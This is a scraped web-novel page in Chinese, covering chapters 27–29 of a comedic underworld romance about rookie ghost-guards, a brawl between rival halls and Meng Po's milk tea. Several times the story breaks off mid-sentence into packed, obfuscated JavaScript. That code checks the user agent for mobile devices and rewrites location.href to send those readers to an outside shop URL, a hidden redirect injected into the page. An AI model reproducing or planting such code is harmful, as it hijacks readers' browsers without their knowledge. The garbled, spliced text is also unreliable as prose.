0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369753|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在素练殿帮我们多照顾下元宝就行。”于等等摆手。 元宝的眼神不动声色地在她面上停了一瞬,又收了回去。 素汐看在眼里,点头笑笑:“嗯,会的,放心吧。” 她和几人道别,脚步轻快地出了茶馆。 于等等端起茶盏,寻思喝会茶再走,就听到门口一阵吆喝。 “哟?又是你啊,册子弄干净了?挺快的呀,让我看看有没有瑕疵!” 于等等看着眼前跳出的袖珍进度条。 【当前主线进度:8%。】 …… 还真是一环扣一环。 挡在素汐面前的是个尖嘴猴腮的黑无常,他身后跟了十几个黑无常和白无常,把茶馆门口堵得严严实实。 眼看他抬手,准备把素汐怀里的册子抢过去,“轰——” 地面猛地抖了三抖。 茶盏里的水晃出来,溅了正倒茶的池塔一手。 刚刚还在嚣张的那个黑无常,整个人被一道巨大的黑影笼罩住。 “哟,盘锦殿的?” 玄浮把狼牙棒往肩上一扛,眯眼看着眼前矮了他一个头的黑无常,语气懒洋洋的,“巧啊。” 那黑无常吓得后退了一步,他拽着旁边一个白无常的袖子,一脸怒色地低声质问:“怎么还有玄墨殿的人在这?还偏偏是这家伙?!” 那白无常也吓得够呛,缩着脖子往人群里躲:“我、我也不知道啊!我就看见那个异色瞳的白无常往这个方向走,我以为就他一个人……” 异色瞳? 正猫着腰准备溜到门口看热闹的于等等看向元宝,一脸狐疑:“……他们说的是你吗?” “不知道啊。”元宝一脸无辜 “真的?” “他就是那小子!” 人群里传出一道气势汹汹的声音,底气比刚才足了些。 元宝看着于等等,嘴角一扬:“假的。” 于等等:“……” 搭档的嘴,骗人的鬼。 她琢磨要么先别出去了,先让玄浮顶着,元宝已经先他一步迈了出去。 ??? 你这是一点不避嫌啊! 于等等两步跟上,看着对面乌泱泱的人头,觉得这种情况下应该安慰搭档一下。 “没事,有张飞前辈在。”她压低声音。 “张飞?”元宝侧头看她。 “你不觉得真的很像吗?”于等等悄悄指了指玄浮。 元宝顺着她的目光看过去,又转回来:“张飞是谁?” “……靠,忘了您老失忆了。” “啊?还有失忆这件事呢?这么狗血?”池塔不知道什么时候凑了上来,一脸八卦。 “这就狗血了?还能更狗血,你信不信?” 比如他大概率就是鸽我的那个渣男。 池塔打量了一下边上把他带进异世界的两人,又打量了一下这跨次元的地府,郑重点头: “信。” 门外,那个尖嘴猴腮的黑无常见自己这边人多势众,胆子又壮了几分:“我们今天不找玄墨殿麻烦!今天只跟素练殿的掰扯!不相干的人让开!” 玄浮皱着眉准备再上前,元宝抬手一拦,慢悠悠地开口:“哦。那你想怎么解决?” 尖嘴猴腮还没来得及接话,他已经自顾自地数起了人头。 “1V……17?” 于等等差点被自己口水呛到。 什么玩意??? 元宝平时那副不显山不露水的模样,文文静静的,站在那儿跟个刚毕业的实习生似的,怎么一开口就是这种狠话? 她忽然觉得自己之前对他的评价可能有点偏差。 什么学习很好的优等生? 优等生哪有这样挑事的啊! 27.HE补全计划 “等等,是2V17。”于等等抱着胳膊,朝对面那些人挑了挑下巴。 “?” 对面的黑白无常们表情逐渐从嚣张转为困惑,尖嘴猴腮的黑无常率先反应过来: “不是,你们玄墨殿是不是有什么毛病?素练殿都不和你们搭档了,轮得着你们管吗?” “你才有毛病,” 于等等翻了个白眼,抬手搭上元宝的肩膀,“谁说我们不搭档了?我们不仅搭档,我们还黄金搭档。” 元宝瞥了眼肩膀上的手,嘴角没忍住上扬一瞬,朝南于等等又靠近了些。 “说得好!” 玄浮把狼牙棒往地上一杵,震得青石板又抖了抖,“那再加我一个!哪有让新人单独出头的道理!” 尖嘴猴腮看着对面气势挺足但人头少的可怜的黑白无常,简直被气笑了: “行,这可是你们自己要掺和的。到时候伤着谁了,可别怪我们以多欺少。” 于等等慢条斯理地把胳膊上的锁魂链解下来,在手里甩了甩,链条哗啦啦响。 “好,这可是你说的。” 一行人浩浩荡荡往旁边的宽街上转移,池塔在后面看得后背发凉。 他默默计算了一下双方战力对比。 3比17。 “素汐,有纸笔吗?”他拉住准备前往判官殿的素汐,问得小声。 “有是有,你要做什么?” “写个遗言。” “?” “我是随从,我怕我活不过今天。” 素汐以为他是在开玩笑,但那表情,好像真的有一种即将赴死的悲壮。 一群人在街道尽头的一块宽敞空地上停下。 尖嘴猴腮转过身,手一挥:“兄弟们,亮家伙!” 对面十几号人齐刷刷抬手,掌心凝聚出光晕。 黑的有,白的也有,光晕逐渐拉长,幻化成各式各样的武器:哭丧棒、锁链、短刀、长鞭…… 玄浮把狼牙棒往肩上一扛,大踏步往前一站。 元宝也取出净魂伞,伞面还没撑开,街另一头传来一阵熙熙攘攘的脚步声。 于等等循声望去。 乌压压一群黑无常,少说也有十几二十个,正朝这边狂奔而来。 为首的那人身形修长,面容周正,跑在最前面,衣摆被风吹得猎猎作响,表情却一本正经到离谱。 于等等认出来人,以为自己看错了,眨了眨眼,定睛又看了一次。 没错。 真的是玄宋。 那个一脸正经、公事公办、连走路都一板一眼的玄宋! 那群人火急火燎地冲到近前,玄宋一个急停,稳准狠地挡在于等等面前,着脸看向对面: “谁要欺负我们殿的新人?” 对面那十几号人集体失声。 于等等这边几人也看傻了眼。 玄浮的狼牙棒差点没拿稳,表情困惑又夹杂着点感动: “玄……玄宋大人?您怎么来了?” 玄宋理了理跑歪的衣领,语气恢复了公事公办: “刚刚有个文职小官吏到我们殿通报,说有人要欺负新人,我带人过来看看。” 文职小官吏? 于等等脑子里不自觉浮现起那个演技浮夸的蓝袍小文官,她下意识扫视四周。 就在他们不远处,一道蓝色的袍角正匆匆消失在巷口。 于等等:“……” 行吧。感谢真·地府同僚。 至少今天不用挂彩了。 对面的尖嘴猴腮显然也意识到了局势的变化,他左看看右看看,脸色变了又变,最后挤出一个比哭还难看的笑: “玄宋,你不是从来不掺和这些事的吗?今天怎么还搞这么多人过来?再说了,” 他干巴巴的声音稍微多了几分硬气, “你们俩殿殿主都不搭档了,你们凭什么管素练殿的事?” 玄宋表情突然变得郑重。 非常郑重,甚至脊背都更挺直了些。 他清了清嗓子。 于等等突然有种不祥的预感。 “凭今天,玄墨大人和素练大人约会了。” 死寂。 于等等手里的锁魂链“哗啦”一声就掉了,元宝眼疾手快的接住,塞回她手里。 于等等机械地扭头看向玄宋。 大哥,你不是说要保密的吗??? 这才多久,您就大庭广众之下广播出去了?还广播得这么理直气壮? 对面的人群在一阵面面相觑后,窃窃私语起来: 什么?约会?他们不是不和吗?” “对啊,不是几百年前就各不联系了吗?” “难道……没有矛盾?” “不会是他们在吹牛吧……” 声音越来越小,底气越来越虚。尖嘴猴腮的脸更是一阵青一阵白。 他比谁都清楚,自己殿这些年能发展起来,靠的就是玄墨和素练不再合作。如果这两位真的和好了…… 他打了个哆嗦,想打圆场,玄宋已经掏出了锁魂链。 “兄弟们,抄家伙!” 两边就这么开始混战了,元宝撑起净魂伞,拉着于等等往人群外围挪去。一道锁链飞了出来,元宝手腕一转,伞面将那道锁链原路弹了回去。 人群里立刻传来一声巨大的“哎呦!” 于等等看着弹回去的锁链,又看了眼元宝撕裂的袖口,脑子里不自觉浮起接到元宝时,余光撇到的街道上的几个黑影。 看起来至少三四个吧? “那什么,你之前,也是这么打的?” “也不全是,有几下是肉搏的。” 于等等对自己的搭档,突然又多了几分刮目相看。 “等等!元宝!这边!” 躲在一个空摊位后面的池塔,伸出半个脑袋冲两人招手。 两人悠哉溜达了过去,蹲到了池塔边上。 于等等再系统商城里翻了翻,买了一包瓜子。 “吃吗?”她倒出一把,伸手往元宝和池塔面前送了送。 “什么口味的?”元宝抓了小半把过去。 “五香的!” 池塔“……” “不是,你俩是不是有点太淡定了?” “不然呢?”于等等一边观赏战局,一边磕着瓜子,声音清脆,“反正又轮不到我们上去。” “是呀,还能顺便做主线。”元宝也磕了一颗,动作优雅得像在品茶。 一个进度条被推到池塔眼前: 【当前主线进度:10%】 池塔突然觉得,这个世界可能真的不太需要他操心。 他也嗑了一颗瓜子。 “味道不错。” “对吧!来来来,再来点!” 于等等给他手里又倒了一把。 “大庭广众,械斗群殴,成何体统?” 一道浑厚的男声带着沉重的压迫感,传进每个人耳里。 于等等正嗑瓜子嗑到一半,被这声音震得一个激灵,瓜子直接呛进了嗓子眼。 “咳咳咳——!” 她咳得满脸通红,眼泪都快出来了。元宝赶紧伸手帮她顺后背,一下一下拍得不轻不重。 池塔也想拍背,发现她背上已经有只手了,准备换成言语关怀,元宝先皱着眉开口了: “小心点。” 池塔:“……” 关怀是赶不上了,那就损友一把: “嗑个瓜子都能呛到,你也是个人才。” 于等等幽怨地瞪他一眼,好不容易压下咳嗽:“进度!” 明明是因为进度涨太多才被呛到的好吗! 她朝着池塔展示进度条。 【当前主线进度:15%】 看来要有重要剧情了。 几人瞪大眼睛,期待着接下来的发展。 对面那群人早已齐刷刷收了武器。态度之恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377659|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬,表情之肃穆,简直像是见到了教导主任的高中生。 来人是个黑无常。 但和周围这群人完全不是一个画风。 他穿着一身剪裁考究的黑色长袍,袖口绣着繁复的纹路,腰间佩着一块墨玉。五官算不上多精致,但那双眼睛又冷又利,往那儿一站,周围的气压都低了三度。 一看就是当领导的。 对面人群里,希门殿的几个黑无常已经凑上去了,脸上写满了“终于有人给我们做主了”的委屈。 “希门大人!您可算来了!” 尖嘴猴腮第一个冲上去,声音里带着哭腔,“玄墨殿的人欺负我们!您看看,把我们兄弟打的!” 他指着旁边几个根本没什么伤的同僚,那几个人也很配合地做出龇牙咧嘴的表情,其中一个甚至还捂住了完好无损的胳膊。 于等等:“……” 这演技不去横店可惜了。 希门扫了一眼那几个“受害者”,目光淡淡的,看不出信没信。 他又看向玄墨殿这边。 玄宋上前一步,规规矩矩地行了个礼: “希门大人。” 身后玄墨殿的人也跟着行礼。 动作整齐划一,挑不出毛病,但也仅此而已。 毕竟不是自己殿的大人,而且这位希门大人从前还给玄墨大人找过麻烦,做做样子就行了。 希门微微颔首,算是回应,目光从玄宋身上移开,往街道边一扫,声音不紧不慢。 “你们三个,鬼鬼祟祟躲在那里干什么?出来。” 于等等:“……” 她就知道躲不过。 她和元宝池塔三人慢吞吞地从摊位后面挪出来,学着玄宋的样子行了个礼。 行完了发现瓜子包装袋还抓在手里,赶紧往身后一丢。 可是手上还沾着碎屑。 就这么放着不擦,黏糊糊的怪难受。 擦的话…… 她盯着这身黑无常衣服。 下不去手。 面前伸过来一只修长的手,手里拿着一块干净纯白的手帕。 随身带手帕的好搭档,习惯小众但有用。 于等等在心底给元宝点了个赞,伸手准备接过。 手帕没接到,手腕先被人握住。 元宝拇指搭在她手腕内侧,抓着她的左手细细地擦完,确认擦干净了又换了右手继续。 动作挺轻的,轻到她手心有些发痒。 “好了。” 声音低沉又温和,没有丝毫在这肃穆场景下先紧张。他松开于等等的手,把手帕重新揣进怀里。 “哦……哦!谢谢!” 于等等把手缩回来,脸颊有些发热,她搓了搓脸,莫名感觉周围好像安静得过分。 她抬头看了一圈。 玄墨殿的人各个眼神发亮,有几个甚至忍不住扬起了嘴角。 比如玄浮。 比如玄宋。 比如他俩后面那几个眼熟但叫不上名字的黑无常。 她又看向池塔。 池塔嘴巴张着,眼睛瞪着,手半捂着脸,表情欣慰又复杂。 最后是那个叫希门的黑无常。 于等等清楚地看到,他的嘴角抽了两下…… “玄墨殿的人,就这么没规矩?” 于等等:“??” 不就擦了个手吗,怎么没规矩了,我擦我的,你们聊你们的啊! 但她不敢说。 眼看希门的脸色越来越黑,玄宋赶紧上前一步打圆场: “希门大人见谅,这是我们殿和素练殿的新人,刚进殿一天不到,还不太了解这里的规矩。回去之后,我定会好好教导。” 他朝于等等几人使了个眼色。 于等等心领神会,悄摸摸地往玄墨殿人群后面挪。 希门没再理他们,目光重新落回尖嘴猴腮的黑无常身上: “说,到底怎么回事。” 28.HE补全计划 尖嘴猴腮像是得到了圣旨,立马开始表演。 “大人,是这样的!我们几个今天办完差事,走得好好的,素练殿那个白无常忽然冲上来就打人!几个兄弟几个带着伤回来,我们气不过,就想问个清楚。结果玄墨殿的这帮人二话不说就动手!我们明明什么都没做啊!” 他说得声情并茂,眼泪都快下来了。 于等等在后面听得直翻白眼。 她忍了又忍,没忍住,从人群后面探出半个头: “明明是你们先踩了素练殿送去判官殿的册子!主动挑衅就算了,还动手以多欺少!” 希门嘴角扯了一下,不知道是笑还是嘲讽。 “玄墨殿的新人,很会说。”他慢悠悠地开口。 “既然是我们殿的人挑衅,可有证据?如果确有此事,我自会好好惩戒他们。” 于等等张了张嘴,发现自己确实拿不出证据。 那些脏了的封皮,素汐怕拿回去被发现,早就原地销毁了。现在那几本册子封皮崭新,干干净净,哪还看得出被踩过的痕迹? “所以,没有证据?”他笑了笑,眼神里带着玩味。 “难怪玄墨殿这些年越来越走下坡路。有这样的下属,空口无凭就找同僚的茬,能发展起来才怪。” 这话说得格外难听。 玄浮握着狼牙棒就想上前。 玄宋伸手拦住,垂在身侧的手握成拳头,握得手指节发白,声音却是不卑不亢:“是我没管教好。不像您殿里的人,口舌如簧。” 希门脸色一沉,准备发作,玄宋看向于等等的方向再次开口: “你们两个新人,入职不到一日,就敢跟对面十几个人挑衅。尤其是你,于等等。” 他刻意加重语气。 “仗着自己是素练大人送进来的,就肆无忌惮?” 于等等低着头,声音闷闷的:“我错了,下次一定约束好自己。” 态度诚恳,语气乖巧,听话得像写检讨。 池塔心里翻了个白眼。 装的挺像。 原本还黑着脸的希门眼神在于等等身上多停了会儿。 素练是最强白无常,将来若是能和她合作,自己殿的实力又能强上几分。 小辈们之间闹腾闹腾就算了,权当打闹。如果这丫头真和素练关系非常,自己就这么发落了,以后恐怕不好合作。 他正斟酌着怎么体面地把这事结了,一道阴柔的声音飘过来。 “哟,这么热闹?” 希门微微皱眉:“盘锦?你怎么来了?” 盘锦? 诚恳低头的于等等终于还是没忍住,悄悄抬头看了一眼传说中的盘锦大人。 面容白净,眼尾上挑,白无常的袍子和素练的款式类似,步态悠闲,嘴角挂着笑。 只是那笑意根本不到眼底。 盘锦扫了一眼现场,他殿里的几个白无常立刻凑上去,准备添油加醋地告状,盘锦一个冷眼扫过,几人瞬间噤声。 他目光落到于等等身上,嘴角似笑非笑:“” “新人就这么嚣张,素练的眼光也不怎么样嘛。” 于等等:“……” 我哪里嚣张了,我就是嗑了个瓜子!!! “其他被牵连的人就算了,但挑事的,得好好教训。素练常年在外没心思管理,今天,我就替她代劳一下吧。” 盘锦说得轻巧,给身边的几个白无常小辈递了个眼神。 刚刚还缩头缩脑的几人面上一喜,昂着头朝于等等方向逼近。 “盘锦大人,这事——” 玄宋脸色一变,准备上前拦住几人,盘锦抬指凝出一道白光。 玄墨殿除了于等等和池塔以外的所有人,被一股无形的力量生生定在原地。 “教教不懂事的新人而已。”盘锦无视希门沉下的脸,皮笑肉不笑,“放心,不重。” 看着几人走过来,于等等怕倒是不怕。 就在盘锦出现的刹那,她面前的进度条非常争气地跳到了【25%】。 刚刚希门出场才涨了【5%】,这次盘锦刚露头就涨了【10%】。 这说明什么? 说明来的大概率不止盘锦一个!甚至大概率就是自己人! 可显然,不是所有人都这么想。 比如她的搭档。 元宝跨步往她身前一挡,直视盘锦,语气不卑不亢:“这件事的起因是我,和她没关系。要抓抓我。” 盘锦嘴角的笑意不变:“我说过要放过你了吗?” 那几个白无常对视一眼,抬手要抓二人,元宝掌心亮起白光,荡开的无形涟漪让面前几个白无常脚步踉跄了一下。 涟漪扫过玄墨殿的那群人,玄浮转了转手腕,看向元宝的目光带着诧异。 “我能动了?!” “我也是。”玄宋似乎也没料到会有这样的变化。 元宝抬手,未撑开的净魂伞横在面前: “不用抓,我们自己走。” 语气平静,盘锦殿的几个白无常却不敢再上前。 他朝池塔和玄宋几人微微颔首,拉着于等等的手慢悠悠地走。 身上淡淡的皂角气息飘进于等等的鼻腔,熏得她脑袋有些迷糊。 直到在盘锦面前站定,于等等依然没反应过来当下的情况。 元宝什么时候这么厉害了? 那可是一殿之主的禁术诶,就这么给解了? 地府的魂力补充剂效果这么好? “素练殿,还真是卧虎藏龙。”盘锦声音冷得毫不遮掩。 “哪里,不像盘锦殿的同僚倒打一耙罢了。”元宝声音轻飘飘的,丝没有毫面对一殿之主时该有的敬畏。 于等等:“……………………” 她悄悄抬头打量了眼盘锦。 果然,脸黑透了。 比玄墨还黑…… “看来,我殿里的小辈惹两位大人不愉快了。”一阵笑声伴随着几道脚步声,从街道转角处传来。 于等等瞥着那一黑一白走过来的身影,心里一阵踏实。 系统进度,诚不欺我!!! “素练大人!玄墨大人!” 玄浮第一个喊出声,脸上写满了“救星来了”的惊喜。 玄墨殿其他成员的标签如出一辙。 至于希门殿和盘锦殿那边,刚才还趾高气扬的黑白无常,这会儿一个个表情管理集体失控,有个白无常甚至下意识往后退了半步,踩到后面人的脚,疼得龇牙咧嘴又不敢出声。 于等等也算是当面见识到,什么叫“你爸爸还是你爸爸”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381589|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人走得不快不慢,玄墨那张脸一如既往地黑着,看不出什么表情,但就是让人觉得他心情不太好。 素练倒是嘴角挂着笑:“盘锦大人,希门大人,好巧。” 希门先回过神来,扯出一个客套的笑:“素练大人,玄墨大人,什么风把两位吹来了?” “是啊,” 盘锦语气里带着点打趣的意味。 “两位大人今天怎么有心思一起出门?往日可不多见。” 素练没接话,只是笑了笑。 玄墨连笑都懒得笑,面无表情地站在那里,谁也不搭理。 “是我邀请的他们。” 一道慵懒的女声从街角飘过来,尾音微微上扬,带着点漫不经心的妩媚。 “怎么还有人,跟团建似……我去!这也太美了吧!”于等等吐槽到一半,看到来人,忍不住惊叹。 来人穿一身华贵的暗红色长袍,衣摆拖在地上足有三尺长,上面用金线绣着大朵大朵的曼珠沙华。 手里捏着的团扇上画着几只蝴蝶,随着她慢悠悠的步子,蝴蝶翅膀上的金粉一闪一闪的。 妆容精致,眉眼妩媚,嘴角噙着一抹似笑非笑的弧度,不知道的还以为是花魁出来巡街。 她身后跟着几个小官差,推着一辆装饰精致的小车,车上摆满了瓶瓶罐罐,盖着素色的绸布,看不清里面是什么。 旁边还跟着一个特别水灵的小姑娘,梳着双丫髻,眼睛又大又亮,脸上写满了兴奋,腰牌随着她的步伐轻轻晃荡。 于等等定睛细看那腰牌。 【孟】 不会是她想的那位吧…… 刚才还端着架子的希门和盘锦,赶紧恭敬行了个礼。 “孟婆大人!您怎么有空来这里?” 孟婆团扇掩面,慢悠悠地开口:“这不是大家都说孟婆汤口味太单一了嘛,那些投胎的一个个苦着脸,跟喝毒药似的。” 她叹了口气,语气里带着点无奈。 “我就寻思研究几个新口味,喊几位殿主过来尝尝。可惜啊,邀请了好几个殿,大家都说忙。没办法,我只好带着小辈们挨个殿送了。” 这话说得合理,可于等等怎么听怎么觉得不对劲。 就盘锦和希门那态度,怎么看也不像是敢拒绝孟婆邀约的。 她把元宝往每人的地方拉了拉,她压低声音: “你觉不觉得她更像是来看热闹的?哪家孟婆亲自送货上门啊?” 没等元宝回答,素练先开口了:“孟婆大人还给新口味起了名字呢,叫……哦!奶茶!” “噗——”于等等表情管理失控。 “确实是来看热闹的,而且还是自己人。”元宝深表赞同。 孟婆目光往于等等这边飘了下,眼神似笑非笑,扇子一挥: “来都来了,这里人也挺多,大家就帮我尝尝,给点建议吧。” 她身后那几个小官差立刻推着小车往人群这边走。 于等等正准备往后退两步,给人腾位置,孟婆身边那个梳双丫髻的小姑娘径直冲到她面前。 “你们就是新来的黑白无常于等等和元宝,对吧?!我叫孟小甜!久闻大名!” 语气兴奋,眼睛发亮,亮的于等等亲切无比。 确认过眼神,是嗑“芋圆”CP的人。 29.HE补全计划 孟小甜已经麻利地从车上拿起两个茶盏,塞到于等等和元宝手里: “来来来,尝尝我们的新品!” 于等等低头看了一眼手里的茶盏。 茶汤淡绿,表面浮着几片细碎的花瓣,像是什么高级甜品店的新品。 她抿了一口。 抹茶味,但多了点醇厚和奶香,甜度适中,茶汤入喉的瞬间,一股温热从胃里蔓延开来,涌向四肢百骸。 于等等有些惊奇地看向孟小甜,孟小甜神秘兮兮凑过来,压低声音: “嘿嘿,特供版~” 于等等心领神会,道了谢,示意元宝也快尝尝。 元宝象征性品了一口,便一饮而尽,喝完看了看自己的掌心,拳头握紧又松开。 “比魂力补充剂效果好多了。” “对吧对吧!孟婆大人出品,必属精品!” 孟小甜笑着给元宝又盛一杯,池塔从于等等身后探出半个脑袋,一脸期待:“还有我还有我!给我也来一份呗!” 孟小甜看了他一眼,目光在他那身灰扑扑的随从短打上,恍然大悟:“哦——你就是那个……池……” 池塔挺直腰板,准备接受“池塔”这个名字的正式登场。 “随从!对吧!” 池塔:“……” “对……随从……” 孟小甜笑嘻嘻地也给他盛了一盏。 玄墨殿那群人看到这情形也纷纷围上来,孟小甜和那几个孟婆店的小差役忙得不可开交。 “这个是红豆味的,这个是桂花味的,这个是玫瑰味的……” “别急!都有哈!” 希门殿和盘锦殿的黑白无常们,听玄墨殿的人一句接一句的惊叹,馋的不行,悄悄打量各自的殿主。希门微微点头,盘锦没说话,但也算是默许了。 那群人立马也围了上去,把孟小甜的小车围得水泄不通。 孟婆扇轻摇,嘴角噙着笑:“小甜,还有两位大人的呢。” 孟小甜像是忽然被提醒了什么,猛地一拍脑门,动作夸张得于等等都觉得她是故意的。 “哎呀!忘了忘了!两位大人稍等!” 她从食盒底下翻出一个小巧的紫砂壶,又从另一个食盒里取出两只精致的白玉盏,动作慢条斯理。 “这是孟婆大人给两位殿主大人准备的特供版。”她双手端着茶盏,恭敬地递给盘锦和希门。 原本因被忽视而面色略沉的两位殿主,听到“特供”后面色稍缓,各自微抿一口。 “甚好。” “不错。” 于等等把二人的表情变化看在眼里,心里默默点了个赞。 不愧是孟婆,一场群殴,四殿之争,几杯奶茶就给化解了,还把每个人都哄得心满意足。 茶会散得比想象中快。 玄墨殿的人簇拥着玄墨,希门殿和盘锦殿的人也跟着各自的殿主往外走。 孟婆摇着扇子,笑盈盈地跟众人道别,身后的小车推得吱呀作响,孟小甜一步三回头地朝于等等挥手。 于等等也冲她挥手告别,心想就孟小甜这表现,在魏今安的嗑糖群里,高低得算个中坚力量。 她和元宝约定好系统联系,准备跟上玄墨殿的队伍回去,就听街道尽头传来一阵急促的马蹄声。 “让开让开!东冥急报——!” 一匹通体漆黑的战马从街道转角冲出来,上面骑着一个传令兵打扮的人,手里举着一卷文书,脸色发白。 街道上的人群慌忙避让,于等等也下意识往旁边让了一步。 那传令兵勒住缰绳,马未挺稳,他已翻身下马,几乎是扑到玄墨面前。 “玄墨大人!东冥深渊昨日突然出现大量鬼怪异动!规模前所未有,驻守兵力不足,请求支援!” 玄墨殿的人面面相觑,脸上都露出凝重的神色。 东冥深渊,那是玄墨镇守的地方。 玄墨合上文书,声音没有任何犹豫:“玄宋,带人回去整顿,半个时辰后后出发。” “是!”玄宋领命,带着玄墨殿的人加快了回去的步伐。 于等等正准备跟上,身后传来一阵破空声,还没来得及回头,她就被一股大力扯开,撞进一个熟悉的胸膛。 “轰”的一声,身后有什么东西被弹开又落地,凄厉的马鸣声撞进耳朵。 街上一片寂静,众人齐齐看向那个撑着伞,站在原地一步都没退的白无常。 玄墨的眉头动了动。 就连向来稳重的素练,都微张着嘴后退了半步。 “那马……是东冥的战马吧?”玄墨殿的一位黑无常弱弱开口。 “是的……那冲击力,我接的话,也得扛一下……”玄浮语气满是惊愕。 “他一个白无常新人是怎么做到的?” “不是,那伞是什么法器?怎么从来没见过。” 众人交头接耳,于等等却一句听不进去。 她现在整个人都是懵的。 被抱住的时候,她只来得及看见一道白光,然后就是马的惨叫声,再然后…… 她发现自己被元宝圈在怀里,净魂伞撑在两个人身前,伞面上的符文还在缓缓流转。 于等等惊魂未定地抬头。 元宝的下颌就在她眼前,脖颈修长,喉结微微滚动了一下。她还能闻到他身上淡淡的皂角气息,混着奶茶留下的醇香。 “元宝?”她试着叫他。 元宝的手还揽在她的腰上,掌心隔着衣料传来温热的触感。 净魂伞自动合拢,元宝没有回她,抬着的手臂一转,净魂伞的伞尖,指向了躲在街边石墩后,那个尖嘴猴腮的希门殿黑无常。 那个黑无常已经被吓得面色惨白,他哆嗦着腿一屁股坐到地上,嘴里喃喃“我……我错了,我错了……” “咕噜噜——” 几颗石子从他怀里滚落。 于等等明白过来,这个黑无常找茬素练殿吃了瘪,气不过,想要借战马来教训自己,要不是元宝刚刚替自己挡了一下,就那战马的体格,一蹄子下去,骨折都是轻的。 她心里升起火,想要去教训下那个希门殿的黑无常,就觉得揽在腰间的手开始微微颤抖。 “元宝,你……” 话没说完,眼前人身体一软,突如其来的重量带着于等等跌坐到地上。 净魂伞落地,发出“叮铃”轻响。 于等等顾不上摔疼的尾椎骨,手忙脚乱地双手环住元宝。 “元宝?!” 她把他从自己身上撑起来一点,想看看他怎么了。 心脏被吓得漏跳了几拍。 元宝的脸此时白的吓人,嘴唇看不到丝毫血色,额头渗出细密的汗珠,眉头紧皱,眼睛半睁聚不了焦,瞳孔一会儿放大一会儿缩小, “元宝?元宝!你怎么了?!”于等等拍了拍他的脸,又不敢用力,喊了好几声依然没反应。 她声音开始发抖:“喂,你别吓我啊……” “于……”元宝嘴唇微动,于等等还没听清,他就头一歪,彻底倒在她肩上。 元宝的气息喷洒在她颈侧,一会急促,一会缓慢,心跳重到于等等隔着衣料都能感受到。 “素……素练大人……” 于等等觉得自己血液都要凉了,本能的向走过来的那道白影求助。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384837|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群乱起来,池塔挤过来伸手想要帮忙,碰到元宝手背后,被吓得立马缩回。 “怎么这么凉?!” “我不知道……”于等等脑子里一片空白。 明明刚才还好好的,刚才还说回去联系,刚才还撑着伞挡在她面前。 你挡盘锦殿那几人的时候不是挺厉害的吗,怎么突然就…… 于等等的眼眶开始发热,一只白净的手抓上她的胳膊。 “别急,孟婆大人说让他试试这个。” 孟小甜蹲到她身边,手里举着一个东西。 “这是什么?” 眼泪让面前孟小甜的脸变得模糊,于等等使劲闭了下眼又睁开,看清了她手上的棕色药丸。 “孟婆大人研制的,吃了就能好,信我。”孟小甜没多解释。 于等等看着她坚定的眼神,感受着脖颈上元宝愈发微弱的气息,没敢多犹豫。 “好……” ———————————— 十月的天,说热不热,说凉不凉。 风从半开的窗缝里溜进来,带着一点桂花的甜香。 靳言在镜子前站定,打量了一下自己。 米色的针织衫,领口不高不低,版型偏宽松。深色长裤,裤脚刚好搭在鞋面上,不长不短。他对着镜子侧了侧身,又正回来,目光落在自己脸上。 还是白。 他从小就这样。 小时候大病过一场,命是捡回来了,身体也养好了,偏偏这张脸没养回来。加上头发黑,瞳孔也黑,黑白分明得太过了,衬得整个人总有点阴郁。 靳言想了想,从抽屉里翻出一小瓶发胶,往手心挤了一点,对着镜子往头发上抓了几下,弄出点蓬松自然的弧度。 他退后两步重新打量了下,配上这身衣服,镜子里的年轻人看起来精神了点,也柔和了点。 大概。 一切收拾完毕,介于不能让女士等待的原则,他决定提前半小时出门。 花店在小区外的街道转角,推门进去,店员认出他,笑着捧出一束搭配好的花。 不是什么张扬的红玫瑰,是白玫瑰和浅粉色洋桔梗扎在一起,用素色的包装纸裹着,干净,温和。 靳言接过来,低头看了一眼,觉得还行。 他不会挑花,在网上搜了好几个晚上,最后选了这一束。 希望她会喜欢。 他站在路边等车,手机震了一下,微信弹出来。 看着对面的头像和发来的消息,他笑了笑,低头打字: 【我出发了,下午三点,遇见咖啡馆。】 消息发出,他想了想,开始编辑第二条: 【你路上慢些,注意安全。】 字还没打完,余光瞥见人行横道上有个佝偻的身影。 是个老爷爷,腿脚不太好,拄着拐杖步子迈得很碎。绿灯开始闪烁,眼看就要变红,一辆飞驰而来的车按了喇叭。 